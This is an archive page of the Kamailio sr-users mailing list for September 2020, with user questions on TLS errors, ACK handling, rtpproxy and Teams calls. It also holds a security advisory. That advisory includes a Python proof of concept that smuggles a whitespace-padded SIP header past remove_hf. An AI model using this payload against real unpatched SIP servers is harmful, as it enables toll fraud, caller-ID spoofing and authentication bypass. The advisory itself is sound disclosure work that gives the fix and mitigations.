sr-users September 2020

sr-users@lists.kamailio.org

84 participants
107 discussions

Mapping History-Info <-> Diversion headers
by Anonim Stefan 25 Sep '20

25 Sep '20

Hi guys, I am trying to map all History-Info to/from Diversion headers in a given SIP REQUEST, based on RFC 7544. I want to ask if you are aware of any module functions that does that? (e.g. something like convert_history_to_diversion() and convert_diversion_to_history()) Alternatively, I want to ask you what do you think of such module functions and in which module would they fit best? e.g. textops/tectopsx/diversion ?! Thank you, Stefan

2 1

usrloc - ka_mode timeout
by Ilie Soltanici 25 Sep '20

25 Sep '20

Hello, Is there any way to add those functions from the nathelper module to the usrloc module? *keepalive_timeoutnatping_interval* I'm looking to use ka_mode feature from the usrloc module in order to have roundtrip time computed for each extension but because those functions are missing in the usrloc module and per documentation this functionality conflicts in some way with nathelper module it's not recommended to have both modules enabled. Or maybe there is another way to have them "interconnected"? Thank you.

2 9

rtpproxy_manage and AWS
by Aymeric Moizard 25 Sep '20

25 Sep '20

Hi, I have 2 hosts on AWS behind NAT: One with rtpproxy: /usr/local/bin/rtpproxy -f -p /run/rtpproxy/rtpproxy.pid -s udp: 0.0.0.0:31500 -A 15.236.230.177 <http://15.236.230.177/15.236.230.177> -l 0.0.0.0 <http://0.0.0.0/0.0.0.0> -m 35000 -M 65000 -d DBUG:LOG_LOCAL5 -u rtpproxy:rtpproxy -F The other one, with a kamailio and using only rtpproxy_manage(); without parameters. I'm surprised because in my SDP being modified, kamailio is replacing with its KAMILIO private IP. (not the rtpproxy one) I see that rtpproxy and kamailio are exchanging data. Nothing obvious is coming out. Any obvious mistakes? Anything you need to help? Should I switch to another rtp engine? Regards Aymeric -- Antisip - http://www.antisip.com

2 3

Record Route
by Andy Kama 24 Sep '20

24 Sep '20

I am trying to add a record route to my initial invite but in the logs i can see it says inserted preset record route but if i look in the invite there is not record route here is my config record_route_preset("mydns:5061;transport=tls", "myip:5060");

1 0

TLS Error
by Andy Kama 24 Sep '20

24 Sep '20

Hi Guys I am getting a strange tls error and not sure why my kamailio config is #!define WITH_TLS #!ifdef WITH_TLS enable_tls=1 listen=tls:1.2.3.4:5061 /* upper limit for TLS connections */ tls_max_connections=2048 #!endif #!ifdef WITH_TLS loadmodule "tls.so" #!endif #!ifdef WITH_TLS # ----- tls params ----- modparam("tls", "config", "/usr/local/etc/kamailio/tls.cfg") #!endif ###tls.cfg [server:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /usr/local/etc/kamailio/certs/privkey.pem certificate = /usr/local/etc/kamailio/certs/cert.crt ca_list = /usr/local/etc/kamailio/certs/cacert.pem [client:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /usr/local/etc/kamailio/certs/privkey.pem certificate = /usr/local/etc/kamailio/certs/cert.crt ca_list = /usr/local/etc/kamailio/certs/cacert.pem Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8708]: INFO: {1 1 OPTIONS 84bbc013-5cd1-43a7-a240-106ec00aa628} <core> [core/tcp_main.c:2948]: tcpconn_1st_send(): quick connect for 0x7f776544c978 sock 13 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1283]: tls_h_read_f(): protocol level error Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_util.h:42]: tls_err_ret(): TLS accept:error:14094418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1287]: tls_h_read_f(): source IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1290]: tls_h_read_f(): destination IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: <core> [core/tcp_read.c:1473]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f7765419b50 r: 0x7f7765419c78 (-1) Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1283]: tls_h_read_f(): protocol level error Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1287]: tls_h_read_f(): source IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1290]: tls_h_read_f(): destination IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: <core> [core/tcp_read.c:1473]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f776544c978 r: 0x7f776544caa0 (-1)

1 0

Calling a user registered on a different kamailio
by Joey Golan 24 Sep '20

24 Sep '20

Hello, I’m trying to make a call between 2 users registered (TLS) on two different kamailio instances behind haproxy with NAT handling. UE1 is registered to kamailio1 UE2 is registered to kamailio2 DMQ and dmq_usrloc are enabled so each kamailio can see all registered users. What else do I need to do in order to make it work properly? Thanks, Joey.

2 3

Not seeing ACK to 200 as existing transaction
by Steve Bucklin 23 Sep '20

23 Sep '20

Hello all, If there is someone that can help with this, that would be rather good! I can supply further details upon anyone having seen this before....... In NORMAL operation, I get an INVITE and process this (My Kamailio is processing SS7 CAMEL, and does an MRSN lookup) It then makes the INVITE onwards to the MSRN collected. When answered, I see the 200. I pass the 200 back to the source of the INVITE I get the ACK, and use "t_check_trans()" and if that returns true will route the ACK onward (I am in the ACK path having set Record-route on the 200) This all works. FAILURE occurs when I get INVITE from another source (one step removed from the generating gateway) All works as it should *BUT* the t_check_trans() returns FALSE, so I guess there is a matching issue to the live transaction? I have tried a "work around" and routed the ACK anyway. This *does* work, and is routed correctly forward to the original "contact" and the 200 messages stop being repeated.. *BUT* the Kamailio instance here times out the dialog as the ACK was not seen correctly. I also popped a "t_check_trans()" into the reply route to test the 200 OK that I get, and that returns TRUE. Here is the 200 message that I send back to the INVITE sender: SIP/2.0 200 OK Via: SIP/2.0/UDP 52.1.2.3;rport=5060;branch=z9hG4bK7bb7.62ce43198ddade3212c715259623a75f.1 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK905c7e6e Record-Route: <sip:3.1.2.3;lr;ftag=81dd;did=08b.0141;vsf=AAAAAB8ABQMKCAgMAwUCCHgzWEQXXl5WSUNYQ14cUF5t> Record-Route: <sip:52.1.2.3:5060;lr> From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 INVITE Contact: <sip:+44739790XXXX@185.1.2.3:5060;transport=udp> User-Agent: Ziron Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REFER, NOTIFY, PUBLISH, SUBSCRIBE Supported: timer, path, replaces Allow-Events: talk, hold, conference, presence, as-feature-event, dialog, line-seize, call-info, sla, include-session-description, presence.winfo, message-summary, refer Content-Type: application/sdp Content-Disposition: session Content-Length: 216 P-Asserted-Identity: "Outbound Call" <sip:44780204XXXX@52.1.2.3> v=0 o=MSX53 11014726 11014726 IN IP4 88.1.2.3 s=sip call c=IN IP4 88.1.2.3 t=0 0 a=sendrecv m=audio 14810 RTP/AVP 8 99 a=rtpmap:8 PCMA/8000 a=rtpmap:99 telephone-event/8000 a=fmtp:99 0-15 a=ptime:20 And this is the ACK I get back: ACK sip:+44739790XXXX@185.1.2.3:5060;transport=udp SIP/2.0 Via: SIP/2.0/UDP 52.1.2.3;branch=z9hG4bK7bb7.cca0ec5a2c96b8fe82344d9835163595.0 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK6b8f7781 Contact: sip:+44128084XXXX@149.1.2.3 To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 ACK User-Agent: PartitionwareTM SIP Toolkit v4.0.30319 Content-Length: 0 Max-Forwards: 69 Allow: INVITE, ACK, CANCEL, BYE, INFO, OPTIONS, PRACK Supported: timer,100rel Allow-Events: telephone-event P-hint: outbound Any thoughts would be great, Steve

2 1

Kamailio Slack Channel Invite
by Peter Baines 23 Sep '20

23 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. Apologies if this is not the correct place to post. Regards, Peter -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
by Sandro Gauci 23 Sep '20

23 Sep '20

Dear Kamailio Users, posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue. Advisory follows: # Kamailio vulnerable to header smuggling possible due to bypass of remove_hf - Fixed versions: Kamailio v5.4.0 - Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…> - Tested vulnerable versions: 5.3.5 and earlier - Timeline: - Report date & issue patched by Kamailio: 2020-07-16 - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23 - Kamailio release with fix: 2020-07-29 - Enable Security advisory: 2020-09-01 ## Description Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name. Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`. Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/. ## Impact The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass. ## How to reproduce the issue We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…>. The following python code could then be used to reproduce the issue: ```python #!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5) ``` In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0… in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found. ## Solutions and recommendations The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded. Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team. ## About Enable Security [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ## Disclosure policy This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

10 33

Kamailio drop calls with Teams
by sip user 22 Sep '20

22 Sep '20

Hi, I'm connecting Teams with kamailio server. From Kamailio to teams I have no problems, but from teams to Kamailio yes. Drop the call.. With ngrep I see that: INVITE sip:1005@CLIENT_IP:55766;transport=UDP;rinstance=d47edf336726e940 SIP/2.0. Record-Route: <sip:FQND_IP;r2=on;lr>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. FROM: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. TO: <sip:+34560@FQND:5061;user=phone>. CSEQ: 1 INVITE. CALL-ID: c1364913e582553a9a9c2544c3583b0a. MAX-FORWARDS: 69. Via: SIP/2.0/UDP 92.222.217.64;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. VIA: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. RECORD-ROUTE: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. CONTACT: <sip:api-du-a-euno.pstnhub.microsoft.com:443 ;x-i=b0b53fc5-76ef-4619-9a68-13e0a4eea92d;x-c=c1364913e582553a9a9c2544c3583b0a/d/8/6c25eb3789a14bf188ce6b05b5e27891>. CONTENT-LENGTH: 1091. MIN-SE: 300. SUPPORTED: timer. USER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.7.31.1 i.EUNO.0. CONTENT-TYPE: application/sdp. ALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFY. P-ASSERTED-IDENTITY: <tel:+324>,<sip:EMAIL>. PRIVACY: id. SESSION-EXPIRES: 3600. . v=0. o=- 165103 0 IN IP4 127.0.0.1. s=session. c=IN IP4 52.113.44.8. b=CT:10000000. t=0 0. m=audio 50452 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 2130706431 52.113.44.8 50452 typ srflx raddr 10.0.33.240 rport 50 U CLIENT_IP:55766 -> FQND_IP:5060 #2 SIP/2.0 180 Ringing. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 0. U CLIENT_IP:55766 -> FQND_IP:5060 #3 SIP/2.0 200 OK. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REGISTER, SUBSCRIBE, NOTIFY, REFER, INFO, MESSAGE. Content-Type: application/sdp. Supported: replaces. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 1067. . v=0. o=3cxVCE 324945090 117647850 IN IP4 . s=3cxVCE Audio Call. t=0 0. m=audio 0 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtpmap:104 SILK/16000. a=rtpmap:9 G722/8000. a=rtpmap:103 SILK/8000. a=rtpmap:111 SIREN/16000. a=fmtp:111 bitrate=16000. a=rtpmap:18 G729/8000. a=fmtp:18 annexb=no. a=rtpmap:0 PCMU/8000. a=rtpmap:8 PCMA/8000. a=rtpmap:97 RED/8000. a=rtpmap:101 telephone-event/8000. a=fmtp:101 0-16. a=rtpmap:13 CN/8000. a=rtpmap:118 CN/16000. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 213 I never received ACK.. In my configuration: Kamailio.cfg: #!KAMAILIO #!define WITH_TLS event_route[tm:local-request] { if(is_method("OPTIONS") && $ru =~ "pstnhub.microsoft.com") { append_hf("Contact: <sip:FQND:5061;transport=tls>\r\n"); } xlog("L_INFO", "Sent out tm request: $mb\n"); } request_route{ remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) { xlog("L_INFO","$fU is trying to call to $rU con valores $tu\n"); $rU="1005"; } } What I'm doing wrong? I don't understand why not received ACK.. Could anyone help me? Thanks

5 21

← Newer
1
2
3
4
5
6
7
8
...
11
Older →

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

sr-users September 2020